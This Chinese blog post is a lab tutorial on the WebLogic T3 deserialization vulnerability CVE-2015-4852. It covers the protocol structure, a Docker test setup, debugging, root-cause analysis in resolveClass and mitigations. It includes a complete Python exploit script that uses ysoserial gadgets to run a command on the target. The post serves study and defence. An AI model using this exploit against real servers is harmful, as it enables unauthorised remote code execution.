写点什么

腾讯大牛亲自带你学:Java 安全 weblogic T3 协议漏洞!

用户头像
比伯
关注
发布于: 2020 年 12 月 28 日
腾讯大牛亲自带你学:Java安全weblogic T3协议漏洞!

前言

在反序列化漏洞里面最经典的还是莫过于 weblogic 的反序列化漏洞,在 weblogic 里面其实反序列化漏洞利用中大致分为两种,一个是基于 T3 协议的反序列化漏洞,一个是基于 XML 的反序列化漏洞。当然也还会有一些 SSRF 和任意文件上传漏洞,但是在这里暂且不谈。

下面来列出两个漏洞类型的一些漏洞编号

基于 T3 协议漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

基于 XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729

粗略的列了几个代表性的 CVE 漏洞。

在 Weblogic 中,有部分漏洞是基于上几个漏洞的补丁进行的一个绕过。而在前一段时间内,CVE-2020-14882 和 CVE-2020-14883 里面 14883 就是基于 14882 的补丁去进行的一个绕过。

浅析 T3 协议

关于 T3 协议的絮絮叨叨

关于这个 T3 协议,他是 Weblogic 里面独有的一个协议,在前面写的一篇关于 RMI 的文章里面提到过 RMI 的传输过程是传输的序列化数据,而在接收后会进行一个反序列化的操作。在 Weblogic 中对 RMI 规范的实现使用 T3 协议。而在 T3 的传输过程也是一样的。

下面对 T3 协议的传输过程、如何执行的反序列化操作、T3 协议的执行流程去进行一个分析。

在之前先来看一张 weblogic 进行反序列化的执行流程图。


这里借用了一个图片,在该漏洞的一个入口点是 weblogic 里面的方法调用了原生的反序列化方法进行一个反序列化操作。

而这里还需要知道该方法在传输完成后是如何进行调用的。关于原生反序列化的操作原理这里就不讲了,可以看到我的该篇文章。

Java 安全之原生 readObject 方法解读,这里主要来讲一下 T3 协议的相关内容。

T3 协议概述

WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。

T3 协议结构

在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。

请求包头

这里拿 2 个 CVE-2015-4852 的 POC 来进行讲解。



t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
复制代码

这里就是他的请求包的头。

使用 Wireshark 对它进行抓包,由于配置的网卡抓不到包,靶机地址会在 23 段和 1 段的 ip 中来回切换。

这里为了能抓到包配置了一个 nat 模式的网卡,进行抓包,地址为 192.168.23.130,改一下 poc 的目标地址,发送 payload。



在这里在发送请求包头的时候,打了个断点,让脚本只发送请求包头数据,方便抓包。打开 Wireshark 抓包后发现,发送该请求包头后,服务端 weblogic 会有一个响应


HELO 后面的内容则是被攻击方的 weblogic 版本号,在发送请求包头后会进行一个返回 weblogic 的版本号。

请求主体

在 T3 协议里面传输的都是序列化数据,这个在前面也说过,而传输中的数据分为七部分内容。第一部分为协议头。即 t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n 这串数据。

来看到下面的图,图片取自 z_zz_zzz 师傅的修复 weblogic 的 JAVA 反序列化漏洞的多种方法文章。



看到第二到第七部分内容,都是 ac ed 00 05,说明该串内容是序列化的数据。而如果需要去构造 payload 的话,需要在后面序列化的内容中,进行一个替换。将原本存在的序列化内容替换成我们 payload 的序列化内容,在传输完成后,进行反序列化达成攻击的目的。

- 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。- 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
复制代码


0x02 漏洞环境搭建

环境搭建

这里借用了 A-team 的 weblogic 漏洞环境项目来做搭建环境,省去不必要的麻烦。

漏洞环境地址:https://github.com/QAX-A-Team/WeblogicEnvironment

jdk 地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic 下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

这里需要把下载好的 jdk 文件放在该项目的 jdks 文件夹下,weblogic 的源码放在 weblogics 文件夹下。

编译运行

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
复制代码




然后在这里需要去将一些 weblogic 的依赖 Jar 包给导出来进行远程调试。

mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
复制代码



如果不想这么麻烦的话可以直接运行对于的.sh 脚本,比如这里安装的是 1036 jdk 是 7u21 ,直接运行 run_weblogicjdk7u21.sh,自动安装以及自动从容器里面导出 jar 包。

远程调试

在这里将 jar 包复制到物理机上,然后打开 IDEA 创建一个空项目进行导入。


完成后就来配置远程调试


为了测试,这里使用 WeblogicScan 来扫描一下,看看在断点地方会不会停下。



在这里发现已经可以进行远程调试,后面我们就可以来分析漏洞了。

0x03 漏洞分析

漏洞复现

在这先来讲漏洞复现一下后,再进行漏洞的分析

还是拿 exp 为例子,但是我们这里是 docker 搭建的环境,也没有构造回显。常用的弹出计算器,就算执行了也没法显示出来,所以在这里使用创建文件的方式验证该漏洞是否利用成功。

import socketimport sysimport structimport reimport subprocessimport binascii
def get_payload1(gadget, command): JAR_FILE = './ysoserial.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read()
def get_payload2(path): with open(path, "rb") as f: return f.read()
def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return
print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头 flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度 sock.send(payload)
if __name__ == "__main__": host = "192.168.1.40" port = 7001 gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21 command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command) exp(host, port, payload)
复制代码

执行完成后,查看 docker 容器里面的文件。

docker exec  weblogic1036jdk7u21 ls tmp/
复制代码



执行成功。

在执行 exp 的时候,如果开启 debug 去查看其实不难发现,发送 t3 的报文头信息以后会在返回包里面回显 weblogic 的版本号。


可以看到,后面通过正则提取了返回包的数据,拿到该版本号信息。

漏洞分析

T3 协议接收过来的数据会在 weblogic.rjvm.InboundMsgAbbrev#readObject 这里进行反序列化操作。

来直接定位到该位置,可以看到断点的位置,里面调用了 InboundMsgAbbrev.ServerChannelInputStream#readObject 方法,查看一下


这里调用创建一个内部类,并且调用 readObject 方法,还需要查看一下 ServerChannelInputStream 实现。



在这里其实就可以看到 ServerChannelInputStream 是一个内部类,该类继承 ObjectInputStream 类,而在这里对 resolveClass 进行了重写。


但是在此处看到,其实调用的还是父类的 resolveClass 方法。在 resolveClass 方法中也没做任何的校验,导致的漏洞产生。

后面来讲讲如何防御到该漏洞。

再谈 resolveClass

resolveClass 方法的作用是将类的序列化描述符加工成该类的 Class 对象。

前面分析 readObject 方法的时候,我们得知了 shiro 就是重写了 resolveClass 方法导致很多利用链无法使用,但是 shiro 在编写的时候,并不是为了防御反序列化漏洞才去重写的 resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。

而在后面的 weblogic 补丁当中,也会基于这个 resolveClass 去做反序列化漏洞的防御。

贴上一张廖师傅的博客的反序列化攻击时序图:


那么这里需要思考到一个问题,为什么要在 resolveClass 进行一个拦截,而不是其他位置?

resolveClass 方法的作用是从类序列化描述符获取类的 Class 对象,如果在 resolveClass 中增加一个检查,检查一下该类的序列化描述符中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的 Class 对象。这样以来,恶意类连生成 Class 对象的机会都没有。

来看到这个方法,在我的 readObject 分析文章里面贴出来一张图,readObject 的内部使用 Class.forName 来从类序列化获取到对应类的一个 Class 的对象。


那么如果这里加入一个过滤,那么这里如果直接抛出异常的话,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的一系列操作都无法完成。

参考文章

http://drops.xmd5.com/static/drops/web-13470.html
Weblogic12c T3 协议安全漫谈

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
https://xz.aliyun.com/t/8443
复制代码


0x04 修复方案

这里借鉴 weblogic T3 协议漏洞的修复方案,除了打补丁外还有其他的修复方案,先来说说打补丁的方式,打补丁其实也是在 resolveClass 方法中实现拦截。

开放在外网的情况下,还可以采用 web 代理和负载均衡。

web 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。

而负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为 HTTP 的请求,不接收其他的协议请求转发。这也是在外网中见到 T3 协议漏洞比较少的原因之一。

结尾

在这里其实分析比较浅,因为反序列化操作和 CC 链这一块,我觉得应该单独拿出来说,而不是集成到这个 T3 协议漏洞里面一并概述。所以在此处并没有对这两块内容进行分析,而这两块内容在前面都有进行分析过,自行查阅。后面的几个 T3 协议的漏洞,其实也是基于 resolveClass 的方式进行拦截过后的一个绕过方式,成了一个新的 CVE 漏洞。

最后,小编还给大家整理了一份面试题库,有需要的添加小编 vx:mxzFAFAFA 即可免费领取!!!

Java 核心笔记

这份 Java 狠心笔记文档包含了 JVM、JAVA 集合、JAVA 多线程并发、JAVA 基础、Spring 原理、微服务、Netty 与 RPC、网络、日志、Kafka、RabbitMQ、Hbase、MongoDB、Cassandra、设计模式、负载均衡、数据库、一致性算法、JAVA 算法、数据结构、加密算法、分布式缓存、Hadoop、Spark、Storm、YARN、机器学习、云计算。



JVM


JAVA 基础


JAVA 集合



用户头像

比伯

关注

还未添加个人签名 2020.11.09 加入

还未添加个人简介

评论

发布
暂无评论
腾讯大牛亲自带你学:Java安全weblogic T3协议漏洞!